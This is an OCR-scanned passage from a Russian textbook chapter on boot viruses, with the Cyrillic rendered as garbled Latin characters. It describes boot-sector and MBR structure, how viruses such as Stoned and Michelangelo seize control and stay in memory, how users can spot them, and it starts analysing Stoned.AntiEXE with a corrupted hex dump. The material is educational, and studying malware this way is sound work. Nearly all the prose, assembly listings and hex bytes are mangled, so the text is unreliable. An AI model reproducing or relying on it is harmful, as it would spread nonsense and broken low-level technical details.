B egin:
c l i
xo r a x ,a x

; TeKCT cooftiWHfl, BWflaomerocfl npw h6b03mo*hoctm 3arpy3Kn 
; onepanMOHHOfi cmctsmu
Messag db 'Non-System d is k  o r d is k  e r r o r ' ,13 ,10

Ob 'R ep lace and press any key when r e a d y ',0
; HMeHa (paiViOB b kotopux xpanHTca aapo onepaiiMOHHofi ciicreww 
Namel db '10  SYS'
Name2 db 'KS-DOS S Y S ',0 ,0
; BaiitoBafl CMmatypa 3arpy30MH0r0 ceKiopa 

org  1F Eh
S ign dw 0AA55h
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JMP I
Ta6nnya napaMeTpoa 
fluCKa

nporpawMHwii Koa 
30rpy3KH

IAA55

PporpaMMHblH KOA
3arpy3KM

Ta6mma paaaenoB 
fl^Ka t AA55

JMP
Tafinnua napaMerpoB 
fluwa

DpOrpaMMHbm KOfl 
38fpySKH M

Tafirama paaqenoa
F a A 5 5

a 6 b

Pmc. 2.2 ❖  Pa3^MHHbie eapwaHTbi coA epxu M oro  ceicropa c aflpecoM  
{0,0,1}: a ) Boot-ceKTop onepauuoHHoti cucTeMbi (Ha AMCKeTe);

6 ) MBR -  rnaBHan 3a rp y 3osHan 3anucb (Ha BMHMecTepe);
b) TunnHHoe co fle p x n M o e  3ap a xe H H o ro  c e ia o p a

IlepBbie Tpn 6aiixa ceKTopa 3ape3epBHpoBaHbi rio;i KOMan/iy hjih rpyn- 
ny KOMan/i, c./iyxauuix z.mi riepeziaim ynpaBJiemifl Ha o c h g b h o h  k o a  3a- 
rpys'JHKa.

ilajiee pacnojiaraeTca xao/mna napaMerpoB /uicKexbi, K0T0paa neoo- 
xoaHMa, hto6m cranaapTiibie npoqeflypbi BIOS cyMe/ra HacTpoHTbca Ha 
KOHKpeTHbie xapaKTepHcniKH H o c m e m  npn o6paineHHH k Heiviy OHa 
HMeeT pa3Hbiii pa3Mep b 3aBHCHM0CTH o t Toro, KaKOH nporpawMon h b Ka- 
Koii BepcHH onepamioHHofi chctcmw npoii3BoaHJiocb (JropMaTiipoBaHHe. 
Ho ivu i Toro, hto6w aiiOKexa ocTaBajiacb «MMxa6e.jibHoii», neo6xo/iiiMo 
npeflycMOTpeTb HaJiHHiie b xaGjume no Kpannen Mepe iipaBiuibHO 3ano;i- 
HeHHbix noJien Biuioxb ao  «FATSiz».

Cpa3y noc.xe xa6.xnnbi napaMexpoB /incKexbi pacnojiaraexea nporpaMM- 
H aii koa 3arpy3oqnoii nporpaMMbi. 3 Ta nporpaMMa jiO-'i^cHa H aim i b  Kop- 
HeBOM KaTaJiore JiHCKexbi 4>aitiibi onepamioHHoii ciictcmh, npoHHTarb hx  

b onepaTHBHyio naMaTb h nepe^axb hm ynpaB.xeHne. YKa3aHHaa onepa- 
Hhh Buno.iHaeTca )rcneiimo TOJibKO b tom c.xyyae, ec.riH /tHCKexa aB.oaeTca 

4CHGTeMH0H», to  ecTb coaepacHT 4)aii/ibi IO.SYS h MS-DOS.SYS1. Bnpo- 
HeM, HMeHa sth x  4>aHJiOB 33BHCHT ot BepcHH 3arpy)KaeMOH onepamiOH- 
hoh cucTeMbi, HanpHMep b «;ipeBHHX» Bepcnax PC-DOS TpeGoBajmcb 

(J)aiijibi IBMBIO.SYS h IBMDOS.SYS. Ec/ih »ce nporpaMMa-3arpy3HHK 

He cyMeeT o6napy*HTb oaBeTHbies- cjjan/ibi (h to , Boo6me roBopa, npaK- 
THHecKH Bcer/ia cjiynaeTca, eo’iH no.xbsoBaTejib npocTo Hcnojib3yeT ahc-

1 Oaftji KDMaHflHoro n p ou eccop a  COMMAND.COM b  3arpy3Ke He y'lacTRyeT.
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KeTy zijih xpaHeHHH c b o h x  aaHHbix), to  ona AOJiacHa 0Tpeanip0BaTb Ha 

nonbiTKy 3arpy3HTbca c «HecHcreMHOH» AHciceTbi npeaynpeacflaiomHM  

cooGmemieM.

IIocJieAHimH js p y u a  6aifTaMii b  3arpy30MH0M ceicrope o6a3aTe;ibHo 

aojdkhm  6bixb 55h h  OAAh.

2.1.2. 3arpy3Ka c BMHHecTepa
Tenepb paccMOTpHM cjiynaH, Koraa KapMaH /mcKOBOAa nycT, a b KanecTBe 

HOCHTe.ra onepauHOHHOH CHCTeMbi BbiCTynaeT jkcctkhh ahck. 3arpv3Ka 

c BHHHecTepa, b otjiiihhc o t 3arpy3KH c flHCKeibi, nponcxoAHT b ABa 3Taria. 
B cTapTOBOM ceKTope BHHHecTepa pacno;iaraeTCH He 3arpy3HHK KOHKpeT- 
hoh onepaimoHHOH cHCTeMbr, a TaK Ha3biBaeMMH mecucmeMHbtu 3cupy3- 
m u k .  Kpo.vie Toro, b tom »ce ceicrope pacnoJiaraeTca Ta6;iHua. omicbiBaio- 
m aa AoranecKHe paaAeJiw BHHHecTepa (Partition Table). CoBOKynHOCTb 

KOAa BHeciiCTeMH oro ;jarpy3HHKa h Ta&anubi pa3Ae.noB o6pa3yeT zJiaeHym 
3mpy30HHym 3<mucb -  MBR (Master Boot Record).

CoAepjKimoe CTapTOBoro ceKTopa BHunecTepa c aApecoM {0,0.1} o6b.ra- 
ho HMeeT cjieayromyio CTpyicrypy (cm. Taiotce puc. 2.26):

org 0
i Ha'ja.ro nporpaMMbi BHecHcrenHoro 3arpy34Hra 
S ta r t :

c l i

jmp 0000:7C00li : flepefiaua ynpas/ieHiia
; cJieflyoiUQMV GsrpyamiKy

; npenynpe*aa<iiiiMe coooseHiis 
Messl OD ' I n v a l id  p a r t i t io n  t a b le ' .  0
Hess? do 'E r r o r  Loading o p e ra tin g  s y s te c i', 0
Mess3 dp M iss in g  o p e ra tin g  sys tem '.0

org IBEh
; Taoflnua onucanna pasfleJWB (Partition  Table)
; (npiiBGBSHa CTpyKTypa 1-oR "otpokh" TaGnnuw m3 4 bosmoxhux)
A ctive db ? +00 -  npn3H3K aKTHBHoro pasflejia (80h una 0)
BegHsad db ? +01 -  ronoBna 1-ro ceKTOpa pa3Ae/ia
SegCylSec dw ? +02 -  llnjiMHflp/C9KT0p 1 -ro  ceMOpa pasnena
Type db ? +04 • Tun (1 /6 /B  -  FAT12/16/32, 7 -  NTFS,.
FinHead db ? +0f -  roJioeKa noc;ieflHero cetcropa pasnena
FinCylSec dw ? +05 -  l|n/iMHflp/ceKTop nocjiejwsro ceMopa
ReloSec dd ? +08 -  OTHOcnte.nbHbiii HOMep 1-ro ceKTnpa
PartLeri ad ? +1C -  Ko/im^sctbo ceKtopoB b pasaene

; BaiiTOSaa CMrHatypa 3arpysoMHoro ceKtopa 
org 1F Eh

Sign aw GAA55h
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KoHeu 3arpy30HHoro ceKxopa Taic»ce aaiiHMaeT yHHKajibHUH npH3HaK, 
COCTOHIUHH H3 6aHTOB 55h H AAh.

HenocpeacTBeuHO nepe/i sthm npH3HaKOM pacno.rraraeTCH Ta6jimja 

onHcaHHH pa3fleJioB, 3aHHMaioi.naa 64 oaiiTa h cocToflinaa H3 Henapex 
3anH ceii (c tpok ), Ka>Kja>i H3 KOTopux onHCbiBaex ozihh H3 pa3jeJi0B »cecT- 
Koro flHCKa. Ecjih Ha BMfi'iecTepe cymecreyeT TOJibKO ojihh paaae/i, to  

CTpoKH co BTopoii no MeTBepTVio npocTO 3anojiHHK)TCH hvjihmh. Ta6jmna 

coaepacm HH(Jx)pMamHO, Heo6xoflHMyio g.na pacnpeaejiemta npocTpaH- 
CTBa /KecTKoro AHCKa no# pa3fle.nbi, npnneM Kaxaibiii H3 pa3fle.TOB Moacex 

OblTb 0praHH30B3H no CBOHM IlpaBH.JiaM -  B COOTBeTCTBHH C (j)aHJIOBOH 

chctcmoh FAT, N T F S , E X T F S  h  a p . KpoMe toto, o^hh (h  t o j i l k o  o^hh ) 
paaaeji MoaceT 6biTb o6-baBJieH «aKTHBHbiM>. to ecTb npejHasnaHemibi.M 

ji.'iH 3arpy3KH onepawionnoH chctcmbi (b  no.ie Active cooTBeTCTBytomeft 
CTpoKH AOJIJKeH CTOHTb npH3H3K 80h).

BepxHioro ace nojioBHHy M B R  sanHMae.T cnemiajibHaa uporpa.MMa, 
K0T0paa nmeT b Partition Table sanncb, cooTBeTCTByiomyio «aKTHBHO- 
mv» pasac.'iy, paccHHTbmaeT (npn noMomu 3HaliemiH no/reft BegHead h 
BegCylSec) MecTonojiojKeHiie CTapTOBoro ceKTOpa 3toto pa3/K'-Ta, chh- 
TbiBaeT ero coaepaoiMoe npn noMomu KOManztbi 2 ripepuBaHHa 13h  Ha 
cBoe MecTO -  no aap ecy  0:7C00h -  h «a./iiihhoh» KOManflOH JM P  nepe- 
iiaeT Tyaa ynpaBJieHHe. Pa3yMeeTca, nocicojibKy caMa axa nporpaMMa pac- 
nojiaraeTca no a a p e cy  0:7C00h, to  ohs npeflBapHTe.TbHO «nepeTacKHBa- 
eT» cboio pa6oHVK) Konmo b apyroft peniOH na.MMTH (o6bj'mo b 0:600h). 
3anoMHHTe 3 to  06cT05rrejibeTB0!

OcraeTCH BbiHCHHTb, 'fTo jkc- HMeHHo 3arpyacaeTCH BHecncTe\iHbiM 
3arpy3HHKOM H3 CTapTOBoro ceKTopa Toro hjih hhoto pas^e.’ia? OTBer 

npocT: boot-ceKTop KOHKpeTHOH onepauHOHHOH cucTeMbi, onucaHHe ko- 
Toporo npuBe^eHo bhm e -  npn oiiHcamm 3arpy3KH c ancKeTbi. TaKHM 

00pa30M, 3arpy3Ka c BinwecTepa Bbino/rnfleTca b flBa STana: 3arpy30HHbie 
ceKTopa pa3jihhhbix THnoB noonepe/iHo CHHTbiBaioT apyr apyra h nepe- 
AaioT apyr apyry ynpaBJieHHe.

OTMeTHM T3K>Ke, HTO flJia BHHHeCTepOB, pa36iiThix Ha pa3fle;ibi npn no- 
moiuh cTan/iapTHOH \THJiHTbi F D IS K , CTapTOBbiH ceKTop nepBoro pa3- 
liejia o6bPino pa3MemaeTca no  a;ipecy {1 ,0 ,1 }. [Iostomy npaKTHHecKH 

Bca Tan Ha3biBae.MaH <<iiy;ieBaa ;topo>KKa» BHHnecTepa, cocTaB.ieHHaa H3 

ceKTopoB c aapecaMH BHfla {0 ,0 ,2 }, {0 ,0 ,3 }  h t. a., ocraeTca nycToii. II y- 
CTOe npOCTpaHCTBO pa3MepOM B HeCKO.TbKO aeCHTKOB KHJIO(6aHT 3KTHBHO 

Hcno.?ib3yeTCH BHpycaMH h « 6yTKHTaMH», xotji TaM MoryT pa3MemaTbca 

h AaHHbie KaKOM-Hn6y/ih n o j i e ju o i i  nporpaMMbi. HanpHM ep, hmchho Ha 

HyjieiioH ;iopo>KKe xpan^T cboh k oa  ApaiiBepbi nporpaMMbi O n trac k  D isk



58 ❖  3arpy3QHHbie B H pycb i

Manager, npe/iHa3Ha4eHH0H a/ih noa/jep>KKH pa6oTM CTapbix Ko.MiibioTe- 
POB C «6o,'IbIIIHMH» /IHCKa.MH (TO eCTb C /HICKaMH, y  KOTOpbIX HHC.no UH- 
JIHH/ipOB IipeBOCXO/IHT 1 0 2 4 )  H BbinO^HHHDIUeft riepeKO/IHpOBKV H3 «xpo- 
hmhoh» cncTeMbi a/ipecauHH B L B A .

2.2. KaK ycTpoeHbi sarpyBOHHbie Bupycbi
O h  euceji y  M enu Had zojioeou cpeau sanjiecneee- 
jibtx npoeoboe... jkojikuu u uejienuu, eecb e  nox- 
Mumbstx am napdoHHOu Koppo3uu u e kjuw cox  
uepuou nodse.m ou zpsi3u.

A. h B. CrpyrauKne. «Xrau,HHe Bemw BeKa»

B 3tom paaaejie mm KpaTKo paccMOTpnM o6m n e npiiH U H nbi (})vh k h h o h h - 

pOBaHHH 3arpV30HHMX BHpyCOB.

2 . 2 . 1 .  K a K  3 a r p y 3 0 H H b i e  B u p y c w  n o j iy s a iO T  y n p a B j i e H i i e

06 b i'ifio  Bupyc npocTo saiuemaeT cbohm ko,ziom cTaH/iapxubiii aarpya'niK. 
pacno.nararoinHHCH b nanajibHOM ceKTOpe BHHnecxepa hjih ;iHci<eTH.

Ecjih  B iipyc 3apa3Hji sarpysniiK  ,wckcxm , t o  oh  Moacex nojivHHXb 

yiipaBJieHMe b 0flH0M-e/uiHCTBeHH0M cJiynae -  ec.ra k to -to  nonwTaeT- 

ch c 3t o h  /iHCKCTbi 3arpv3HTbCH. BonpeKH pacnpocxpaneHHoi! cpe/ni 
Ma;ioKira;iHcjjHUMpoRamiMX n0Jib30BaTeJieH JiereHae, «3anpbirHyTb» na  

KOMHbJOTep BO Bp<‘MM OOblHHblX 3anHCH HJIH ’IXeHHH (JjailJIOB c 3apaacen- 

h oh  flHCKeTbi sarpysoHiibiH  Biipyc b  npHHium e He mojkct!
Ec.xh Bupyc 3apa3HJi M B R  hjih boot-ceKTop BHunecxepa, t o  oh no- 

;iyq aerr yupaBJieim e b nepBbie MriiOBefma n o c j i c  BKJiioHeHira mrraimH  
(a  xarace  noc.xe nepe3arpy3Kii KOMnbK)Tepa «khoiikoh» hjih «xpeMH na/ib- 
naMH»). OaKTiwecKH s to  iiponcxo;iHT em e 40  Toro, KaK nepBbin KOMno- 
HeHT onepamioHHoii cwcTeMbi OKasbiBaeTcsi b onepaxHBHoii ria.viHXH. Ta- 
khm 06pa30M . BHpyc B ceraa HMeeT «npaB0 BbicTyriKH» -  orpoMHyio (f>opy 
n o  oTHOuxenmo k  Jiio6oMy CHCTeMHOMy hjih npHKJiaflHOMy n p o rp a M M n o - 

M y  o o e c n e n e H H io .

Mt o 6 h  n p o u e a y p a  3 a rp y 3 K H  OnepanHOHH OH cH C TeM bi H e n a p y iu a jia c b ,  

B H p y c  M o a c e r :

O coxpaHHTb opiinma.ibHoe coflepaciiMoe MBR hjih Boot-ceKTopa b 

<<yKp0MH0M yro.<iKe» BHHHecxepa hjih /ihckctm, a noc/ie BbinojiHe- 
HHH CBOHX HeCaHKUHOHHpOBaHHblX fleHCTBHH 3arpy3HTb «OpMFH~ 
naji» b na.\WTb h nepeaaTb e.\iy ynpaBJieHHe, TaK h to  npoue/iypa 
3arpy3KH npo^oJiaaixcfl h 3anepmiiTC5i ecTecTBeHHbiM 06pa30M;
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O B b in o jiH H T b  ( b o 3m o > k h o , yripomeHHyio) npoueziypy 3arpy3KH ca- 
M O CTO H TeJIbH O .

9 jieMeHTapHbiH awajiHS CTpyKTypw p a3 MemeHH>f HHcfiopMauHH Ha z u io  
KOBMX HOCHTeJWX nOKa3 MBaeT, HTO «VKpOMHbIX yrOJIKOB>> Ha ZlHCKeTC HJIH 
BHHHecTepe ziocraTOHHO. 4ame B cero  BHpyc coxpaH fleT  opHrHHajibHbiii 
3a rp y 3HHK Ha nyjieBoii ziopojKKe B H m e c re p a  b o 6 h h h o  HeHcno.;ib3 yeM oii 

06/ i a c r a  Meacfly ceKTopaMH { 0 ,0 , 1 } h  { 1 ,0 , 1 }. 
flo 3apajKemiH (cm . pnc. 2.3):

MBR DAATd U U  1

P m c . 2 .3  ❖ DpaBHJibHaq nepeaana 
ynpaBneHMfl 3a rp y 3Hm<y

IlocJie 3apajKeHHH (cm. puc. 2.4.):

|Bnpyc MBR BOOT

P m c . 2 . 4  ❖  r ie p e fla n a  ynpaeiieHMH 3arpy3HW<y 
Ha 3apaxeHHOM Mamnne

HanpHMep, M H on ie  p a3HOBHAHOCTH BHpyca Stoned H crro jibsyioT  zi.ua 

xpaHeHHa CTapoii MBR ceK Top  {0,0,7}. 3 t o ,  KCTara, MoaceT npiiB ecTH  

(h  Heo/iHOKpaxno npiiBoziHJio!) k  KOH(J)JiHKTaM M e * a y  B iipycaM H  «o z iH o ii 

n o p o A H », p e 3yjibTaTOM nero HBJUUiacb VTepn  opH rH H ajibnoro  coaepacn - 

Moro MBR.

2.2.2. KaK 3arpy304Hbje Bupycbi 3apaxaiOT 
CBOM KepTBbl
Bo3M0*Hbi ABa «cneHapHH» aKTHBanHH BHpyca:

O BHpyc HaxoAHJica b oahom H3 3arpyaoHHbix ceKTopoB BHHHeerepa; 
O BHpyc HaxoAHJica b 3arpy30HH0M ceKTope AHCKera.
B nepBOM cziyqae BHpyc pacnoJiaraeT c b o h  koa ( h jih  HacTb ero ) b  one- 

paTHBHOii naMHTH KOMnbiOTepa, BCxpaHBaexoi b uenoHKy 06pat)0X4iiK0B
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upeptiBaH H H  13h h jih  40h, oTCJiejKHBaex o 6 pameHHH k  AHCKeTaM ii  3a- 

paacaeT iix .

Bo BTopoM  c j iy q a e  BH pyc CHanaJia aaraicbiBaeTCfl b 3arpy30HHbiH ceK 

T op  B H m ecT ep a . / la jie e  o h  m o jk c t BbinojiHHTb a ch ctb m h  no octabJiehwK) 

ceo>r b  n a M a r a  h  n ep exB aT y  a h c k o b h x  npepbraaHHH h ,  TaKHM 06pa30M, 

HeMezuieHHO npnroTO BH Tbca k  3 apa>KeHHio s p y r n x  a h c k c t .  H o  m o jk c t h  He 

/tejiaTb a r o r o ,  nocKOJibKy r io c jie  c jieflyrom eii: ace n epe3arpy3K H  KOMnbiO

Tepa cH Tyam iH  aBTOMaTHHecKH HaMHeT pa3BHBaTbCH no cn eH ap m o «s a -  

rpy3K a  c BH H 'recTepa».

2.2.3. KaK Bupycbi ocTaiOTca pe3HfleHTH0 b naMnm
rioAaBJiaioiuee 6ojibiUHHCTBO 3arpy30MHbix BHpycoB n0Jib3yi0TCH TeM 

4'aKTOM, hto no a^pecy 0:413h n p o rp a M M a  P O S T  noMemaeT pa3Mep b kh- 
jioSaiiTax AOCTynHOH ochobhoh onepaTHBHoii naMani, a M S -D O S  Bce- 
nejro «;K>BepaeT> aTOMy 3HaneHHio b npouecce CBoeii 3arpy3KH h 4>yhk- 
UHOHHpoBaHHa. 3 arpy3oqiibiH B iip y c  cTapryeT noc/ie nporpaMMbi PO ST, 
ho ao onepauHOHHOH chctcmm. O h  KoppeKTHpyeT coAepacHMoe hh6hkh 

0:413h b cTopoHV yMeiibmemiH (HanpHMep, 6hjio 640, a cTajio 639) h ko- 
H H p y e T  cboh koa b 06pa30BaBiiiHHca hkooh «HecymecTByiomHH» (f ip a r - 

MeHT onepaTHBHoii naMsrni. TaM ero hhkto He TpoHeT.

3 to t  (J)parMeHT Bcer^a p a cn o jia ra eT ca  b k o h h c  640-KHJio6aiiTHOH 

«ochobiioh » riaMHTH h HMeeT pa3Mep. KpaTHWH 1024 6aHiaM. TaKHM 06- 
pa30M, nojiwKeHiie 3arpy30HHbix BiipycoB b onepaTH BH oii riaMHTH, KaK 

npaBHJio, »cecTKo cfjiiKciipoBano. HanpHMep, ecjm BHpyc «o tkvch ji» 2 K6 
naMXTH, to  ero k o a  ajihhoh 2048 oaiiT Bcer/ia 6yaeT pa3MemeH, na^nnaa 

c aapeca 9F80h:0.

2.2.4. KaK 3anoA03pMTb h «M3JiOBMTb» 3arpy30HHbiM 
B u p y c

3arpy30H H bie B u pycb i caMii n o  c e 6 e o'leiib peflK o  koh<J>jihktviot c on epa- 

UHOHHOH CHCTeMOH, nOSTOMV CHOCOOIibl o 6 HTaTb Ha KOMHbiOTepe AOAroe 

BpeMH, ocTaB aacb  He3aMelienHMMH h pacnpocTpaiwa BOKpvr ceo« «3a- 
p a 3 y »  yepea HHcfaiUHpoBaHHbie AH C Kera. Oonapy^KHBaioTCH ohh, KaK 

npaBHJio, ojiaroaapa cjieAVroiuHM oocToaTejibCTBaM.
Bo-nepBbix, 6 o J ib u iH H C T B o  3 a rp y 3 0 H H b ix  B H p y c o B , c o r jia c H o  «A p e B n e fi 

T p a A H U H H » ,  pa H O  H JIH  I103AHO TipO H B JIH lO T CeOH K a K O H -H Il6 y A b  AVpaHKOH 

uiyTKOH h jih  ce p b e sH O H  AecTpyK H H eii. HanpHMep, K Jiaccw iecKH fl B H 

p y c  Stoned c B e p o a r a o c T b io  1/8 6 j io k h  posaJi n p o u e a y p v  n o p M a .n b H o ii 

3arpv3KH KOMnbiOTepa, iw ijpopM H pya nojihsoBaTejia: «Your P C  is now
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Stoned! LEGALISE MARIJUANA!» A  B H pyc  Michelangelo (Stoned. 
March6) aKTiiBHpoBaJica Bcero pa3 b ro/i -  6  MapTa, h o  n p n  stom nepe- 
3anncbiBaJi «M v c o p o M »  (c/ryHaiiHhiM ii / la iinb iM ii) ooniH pH hie o6 jTaern  na 

BHHxiecTepe, c KOToporo 3arpy3HJica. IIo/io6Hbie HecamcuwoHHpoBaifHbie 
jieiicTBHH npoHcxojyiT ;io 3arpy3Kii o n e p a m io H n o H  chctcmw, h , c jie ;io B a - 

Tejibiio, nocTpaaaTb o t h h x  mojkct aa>Ke caMwii coBpeMeHHbiii KOMnwo- 
Tep c caMoii coBpeMeHHoa B e p c n e i i  W indow s. IIoaTOMy aoBOJibiio th - 
nnHHbiM -  viibi! -  HB.rae-TCH o6napy>fceHHe aarpysoTObix BHpycoB Jimiib 

b pe3yjibTaTe «n ocM ep T H oro  Bcjcpbrraa* KOMnbiOTepa, nepecTaBinero aa- 
rpy>KaTbca.

Bo-BTopbix, npn 3anycKe nri-no;i MS-DOS CHCTeMHaa ym jiirra MEM 
cooGuiaer o KO/iHHecTBe saiiirroH h  cbooo/ ih oh  onepaTHBHOH na.MHTH, 

KaKOBbie Ha coBpeMeHHbix KOMnbroTepax b cyMMe zio jj>ki i bi cocTaB jw Tb  

640 K6. Ecjih BHpyc npHcyTCTBveT b na\WTH. m«|)pbi m o tv t  He co im ia,:

C:\>mem

Txn n3«t!Tt-< Pawep oSHqro CBOOOflHO

06ciMHa>! 638K 100K 538K <- 1
BepxH3fi OK OK OK
3ape?9psnpoBaHo OK OK OK
OaMuTb XMS 15360K 14068K 1292 K

Bcgro navHTi-i 15S98K 14168K 1S30K

HaKOHeu, b Windows pacnpeaejieHne naxuiTH coBceM .apyroe, h MEM, 
pa6oTaK jinan  n o a  y n p a B Jie n n e M  B iip T ya jib H o ii M am iiH bi, H iw e ro  « c .T p a n - 

noro» ae noKaaceT. TeM He M enee, aaace He rro.'ibayxcb aHTHBiipycoM, 3ano- 
ZI03pHTb HajIH'IHC HOBOrO BHpVCa B CIICTeMHblX OO.iaCTMX BHHHeCTepa IIJIII 

ilHCKCTbl IIOJIbSOBaTCJIb MOKC'T II CaMOCTOHTtVIbHO. BH3yaJIbHO npocMaT- 
pmsa>f h x  co^ep>KHMoe n p n  n o M o m u  y n u iH T b i  T im a  Symantec Disk Edit 

(p a6 oT aeT  b MS-DOS) h jih  Acronis Disk Editor ( p a 6 o T a e T  b W indow 's). 
B e a t  paHee yace ynoMHHajiocb, >rro 3arpy304Hbie ceicropa HMeioT pan xa- 
p a K T c p iib ix  npwanaKOB (H a n p iiM e p , p a c n o n o a c e H H b ie  B H yTpii cT p oK O B b ie  

COOOIHeHHH), no HaJIIlMHIO HJIH OTCyTCTBHK) KOTOpblX MO>KHO OTJIHMHTb 

<'3/l0p0Bblil» CeKTOp OT «6 o j ib H o ro » .

3 t h  >Ke VTHJIHTbl n 03B 0.T O T  He TOJIbKO npoCMOTpeTb, HO II C K O niipO B aTb

co a e p a c H M o e  a a p a x c e H iib ix  c e ie r o p o B  B H H H ecrep a  h jih  iiH CKeTbi b  v K aaaH -

Hbiii cfxiiiji  ^JW  A aJibiieiim ero H3y>ieHiiH. Ecrb ojuia t o h k o c t b :  b c c  s t o

>Kejia'rejibHO zte.naTb, 3arpy3HBiUHCb c saBejiOMO « h h c t o h »  cucTeM H ofi 

aHCKCTbl H.TIi LiV e C D/DVD, llOCKOJIbKV BHpyc, Haxoaflmniicfl B naMMTil. 

woaceT HCKaaiiTb K ap T im y  h aaace o jioK iip oB aT b  Bee Baum noribiTKii.
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2.3. Oxotwmch 3a BarpyBOHHbiM BupycoM
A  M a a u u ie e  e  eocm opae. IIp jiM O  Ha cedbMOM  

ne6e. P e M e m  M y x  u pa.iZJLxbt>ieaem e  M u n p o cm n . 

loeop u m , um o e  m c u m u  n e  npebcmaoJiHJi ce6e h u - 

uezo tiodofmos.o.

A ,  m B. C rp jTa itK H e. 

•sHpeaBbwaiiHoe n ponciu ecTB H e»

I Ip oH T U iro cT p u p yeM  B ee 3 T a n u  o o n a p yx cen H H . aH a jiH a a  h  ya a jieH H H  3a- 

rp y30 H H 0H  «3 a p a 3 w »  Ha n p iiM e p e  B iip y c a  Stoned.AntiEXE. H a m  B b i6 op  

b  3HaHHTe/tbHoii cT en e H H  o n p e a e j ia e T c s  c jie a y io m H M H  o6 cxo> iT e ;ibC TB aM H .

Bupyc 3tot aaBHO H3BecTeH, n o  K p a n H e fi Mepe c nana/ia  9 0 - x  roaoB 
X X  bcka. K a K  C B H fle-re jib cT B yeT  G io jn e T e n b  o t  j o e  W e lls , oh  r o p e a K a  

BCTpeMaeTCH (B ep os-iT n o , Ha a i ic K e T a x  b  CTapwx apxiiBax) n o  chx n o p  

n p aK TH H ecK H  B e3 fle  -  h b  P o c c h h ,  h  b  C I I I A ,  h b  A n c T p a / m ii.  BiipycHbift 
Koa co flep a c H T  p a a  J ir o o o i ib m ib ix  (J jparM enTO B, HccJieaoBaiiHe k o to p h x  

c .n ea y eT  n p ii3 H a T b  B ecb M a  noyH H TeJ ibH b iM . H a K O H e ii, neM ajioBa>K H biM  

MB.MCTCH TO, HTO 3 T 0 T  B H p yc  H e (Jw p .M aT IipyeT  BHHHeCTep, H e o 6 h v jw c t  

C M O S -n a M H T b , He n e p e3 a rp y> K a eT  K a a ca w e  5 m hhvt .vianiHHy n  aaa ce  

H e B b iB oaH T  Ha SK paH  HeueH3ypnbix p yra T e/ ib cT B , a B c e ro  J iiiii ib  « t h x o  h  

M iip H O s n p e n a T C T B y e T  3 a n y c K y  K a K o ro -T o  o n e i ib  a p e B H e ro  h  aaBHO B ceM H  

3 a 6 b iT o ro  a H T H B H p yca  -  n p o rp a M M b i a-XHHoii 200 256 6a itT .

2 . 3 . 1 .  AH a/iM 3 B M p y c H o ro  K O fla

/tonycTH M , h to , npoH a6 jn oaaB  pa6oTV  KOMnbK)Tepa n  h 3vh h b  n p n  n0M 0- 

m n  D is k E d it  3arpy30HHbie ce ic ropa  BHHHecTepa h  nacTO H cno jibsyeM bix  

Ha 3 tom  KOMnbKiTepe an cK er. b h  n pn u u n i k  BbiBoav o  n p iicy rcT B iiH  3a- 
rp ysoH H oro  BHpyca. B nacTHOcTH, oiecTHa/inaTepnMHf>iH aaM n MBR bm- 

r.M AH T coBceM  He TaK, KaK eM y rio;iaraeTC fl Bbir;iM;icTb. B hcm «H a  n p o - 

CBeT» He B iiflH o HiiKaKHX 11 p  e a y  11 p e » a  a kj un i x  coon m eiiH H , KO Topwe TaM 

o6>I3aHbI IIpHC VTCTBOBaTb!

000 E9 14 01 <10-00 00 00 20-33 2E 33 00-02 00 01 On -jj. M 3.3.
0 - 0 0 2 70 0 0 00-02 FD 02 00-09 00 02 00-00 00 40 5A .p .......................HZ
020 40 00 ga 01-37 OF E0 80 -FC F9 74 52-2E A3 07 00 7,pA. tR .r  .
030 CD 03 72 4A-9C 2E 80 3E-08 00 02 75-40 51 56 57 . . rJb .A ____ u»0VW

10; u i 00 04 04-si" 5A 11 uo-oo uO 26 03-00 Ou 00 Ou  u: . 5-
130 81 5B 05 04-01 CF 37 C8-00 00 09 7B-00 00 00 00 B[__- - 7+ . . + { . . .
TF0 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 ................................
1F:" nn Ou On Oo-On oo 00 OO-uO no On nn.-OO on 55 AA Ui-
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CKonnpyeM MBR BHiinecTepa b ahckobmm cJiaiSji c HMeneM. HanpH
Mep, ANTIEXE.BIN. B npuHnmie, mojkho BbinojiHHTb noiuaroBjTO Tpac- 
ciipoBKy nojiy’-ieiuioro Ko;ra b aMy.niipyioiueM oT.naziMHKe THiia Bochs, ho 

ropa3AO nojie3Hee AH3accoM6jiHpoBaTb h H3yHHTb ero no JWCTHHry. Il.nn  

3T0H HeJIH MOJKCT 6bITb C VCIieXOM HCn0JIh30BaH He TOJIbKO KaKOH-HHOY'Ab 

MomHbiii AHaacceMGiiep rana I DA hjih Sourcer, ho h cpaBHHTe.nbHO npoc- 
Taa H HCKjnoHHTejibHO yaofmaH yxiuiHTa H IEW  o t E. CycJiHKOBa.

JIh c th h f  BHpyca, npuBefleHHbifi b irpHJioxcemm. a o c t3to h h o  noApo6no 
np0K0MMeHTHp0BaH. OcTaHOBHMOi Ha nanooJiee Ba>KHMX MOMeHTax.

Bo-nepBbix, hv>kho OTMeTHTb, hto 3apaaceHHbiH B iip ycoM  ceKTop HMe- 
er xapaKTepHyio cTpyKTypy, npHBe/ieHHVio Bbirne -  Ha puc. 2.2b. B 3apa- 
»phhom  ceKTope, KpoMe nporpa.viMHoro Kozia, npHcyrcTBVJOT h Taojiraia 

napaMeTpoB juicKerbi, H Taojimja pas/ie/ioB BHHHecTepa. H  sto  jiohihho, 
Be/tb BHpyc o6>i.3aH o ahobpe.vieHiio coneTaTb b ce6e CBOHCTBa 3arpy3l» i -  

KOB pasJIHMIihlX THnOB.

Bo-BTopux, nocKOJibKy onepam-iomiasi cucxeMa eme He 3arpyaceHa, 
B pacnopjDKeHHH BHpyca HMeroTcst flOBOJibHO CKyziHbie bobmokhocth  

B3aiiMoaeiicTBHa c 060pyAOBah h e\i, opeAocTanJiHeMbie B IO S . H anpn- 
Mep, oopamaTbca k ceKTopaM flHcica mojkho nepers npepbiBaHHe 13h, 
k KJiaBiiaType -  Mepe.3 16h, k BHaeo -  ’lepea lOh... /ia h B ee , no>Ka/iyH. 
ii03T0MV BHpycy npHXOAHTCH r]0.Tb30BaTbCH OHCHb HH3KOVpOBHeBbIMH 

ciicTeMHMMH onepanHHMH, HanpHMep naripaMyfo Mo/UK}jHmipoBaxb Ta6- 
JiHuy BeKTopoB npepbiBaHHH, pacnojioaceHHVio c a/ipeca 0:0.

iXajiee, npn nccjiez[OBaimn BHpyca cjieayeT H.vieTb b bha.v, hto b jihc- 
